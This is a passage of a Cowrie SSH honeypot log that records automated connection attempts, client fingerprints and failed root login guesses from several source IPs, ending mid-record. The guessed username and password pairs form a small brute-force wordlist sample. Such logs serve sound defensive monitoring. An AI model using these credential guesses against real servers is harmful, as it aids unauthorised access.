{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:53.178275Z","src_ip":"193.37.70.224","session":"2eae8824fdd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:53.269380Z","src_ip":"193.37.70.224","session":"2eae8824fdd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drago","message":"login attempt [root/drago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:53.541992Z","src_ip":"193.37.70.224","session":"2eae8824fdd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:54.634845Z","src_ip":"193.37.70.224","session":"2eae8824fdd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60982,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffbcf33047db","protocol":"ssh","message":"New connection: 194.59.206.2:60982 (159.203.135.109:22) [session: ffbcf33047db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:21.045647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:21.050338Z","src_ip":"194.59.206.2","session":"ffbcf33047db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:21.136804Z","src_ip":"194.59.206.2","session":"ffbcf33047db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:21.227916Z","src_ip":"194.59.206.2","session":"ffbcf33047db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50502,"dst_ip":"159.203.135.109","dst_port":22,"session":"b387a9365e32","protocol":"ssh","message":"New connection: 103.77.175.15:50502 (159.203.135.109:22) [session: b387a9365e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:23.193383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:23.198480Z","src_ip":"103.77.175.15","session":"b387a9365e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:23.449354Z","src_ip":"103.77.175.15","session":"b387a9365e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20081990","message":"login attempt [root/20081990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:24.204670Z","src_ip":"103.77.175.15","session":"b387a9365e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:25.458853Z","src_ip":"103.77.175.15","session":"b387a9365e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":36542,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff0d14b85463","protocol":"ssh","message":"New connection: 147.45.211.215:36542 (159.203.135.109:22) [session: ff0d14b85463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:32.910573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:32.915567Z","src_ip":"147.45.211.215","session":"ff0d14b85463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:33.098382Z","src_ip":"147.45.211.215","session":"ff0d14b85463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20041987","message":"login attempt [root/20041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:33.638562Z","src_ip":"147.45.211.215","session":"ff0d14b85463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:34.822295Z","src_ip":"147.45.211.215","session":"ff0d14b85463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52224,"dst_ip":"10.17.0.5","dst_port":22,"session":"0119ac0710da","protocol":"ssh","message":"New connection: 147.45.197.250:52224 (10.17.0.5:22) [session: 0119ac0710da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:47.045853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:47.050907Z","src_ip":"147.45.197.250","session":"0119ac0710da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:47.143530Z","src_ip":"147.45.197.250","session":"0119ac0710da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fitness","message":"login attempt [root/fitness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:47.420629Z","src_ip":"147.45.197.250","session":"0119ac0710da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:22:48.515587Z","src_ip":"147.45.197.250","session":"0119ac0710da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":52306,"dst_ip":"159.203.135.109","dst_port":22,"session":"535f63615a72","protocol":"ssh","message":"New connection: 171.25.158.82:52306 (159.203.135.109:22) [session: 535f63615a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:16.015723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:16.021648Z","src_ip":"171.25.158.82","session":"535f63615a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:16.130201Z","src_ip":"171.25.158.82","session":"535f63615a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:16.619688Z","src_ip":"171.25.158.82","session":"535f63615a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:17.735440Z","src_ip":"171.25.158.82","session":"535f63615a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":54652,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a0fc4bb5c8c","protocol":"ssh","message":"New connection: 103.13.206.227:54652 (159.203.135.109:22) [session: 8a0fc4bb5c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:57.068226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:57.072764Z","src_ip":"103.13.206.227","session":"8a0fc4bb5c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:57.301655Z","src_ip":"103.13.206.227","session":"8a0fc4bb5c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dr123456","message":"login attempt [root/Dr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:58.245728Z","src_ip":"103.13.206.227","session":"8a0fc4bb5c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:23:59.476872Z","src_ip":"103.13.206.227","session":"8a0fc4bb5c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":50622,"dst_ip":"159.203.135.109","dst_port":22,"session":"4666a2ab8154","protocol":"ssh","message":"New connection: 171.25.158.82:50622 (159.203.135.109:22) [session: 4666a2ab8154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:24:53.123403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:24:53.128526Z","src_ip":"171.25.158.82","session":"4666a2ab8154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:24:53.335992Z","src_ip":"171.25.158.82","session":"4666a2ab8154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rust","password":"rust","message":"login attempt [rust/rust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:24:54.031457Z","src_ip":"171.25.158.82","session":"4666a2ab8154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:24:55.146106Z","src_ip":"171.25.158.82","session":"4666a2ab8154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36708,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c0b6e0ee8ef","protocol":"ssh","message":"New connection: 103.176.20.57:36708 (159.203.135.109:22) [session: 6c0b6e0ee8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:25:28.500387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:25:28.505517Z","src_ip":"103.176.20.57","session":"6c0b6e0ee8ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 